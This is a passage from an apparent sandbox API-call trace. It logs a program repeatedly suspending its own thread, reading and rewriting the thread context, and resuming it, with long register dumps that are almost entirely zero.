[0117.677] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf7a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13faa4500, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.678] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf7a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.678] ResumeThread (hThread=0x100) returned 0x1 [0117.679] CloseHandle (hObject=0x100) returned 1 [0117.679] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.786] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0117.898] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0117.898] SuspendThread (hThread=0x100) returned 0x0 [0117.898] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf898, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fad7ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.899] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf890, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0117.899] ResumeThread (hThread=0x100) returned 0x1 [0117.899] CloseHandle (hObject=0x100) returned 1 [0117.900] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.009] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0118.134] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0118.135] SuspendThread (hThread=0x100) returned 0x0 [0118.135] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfb38, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13faea1c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0118.138] SetThreadContext 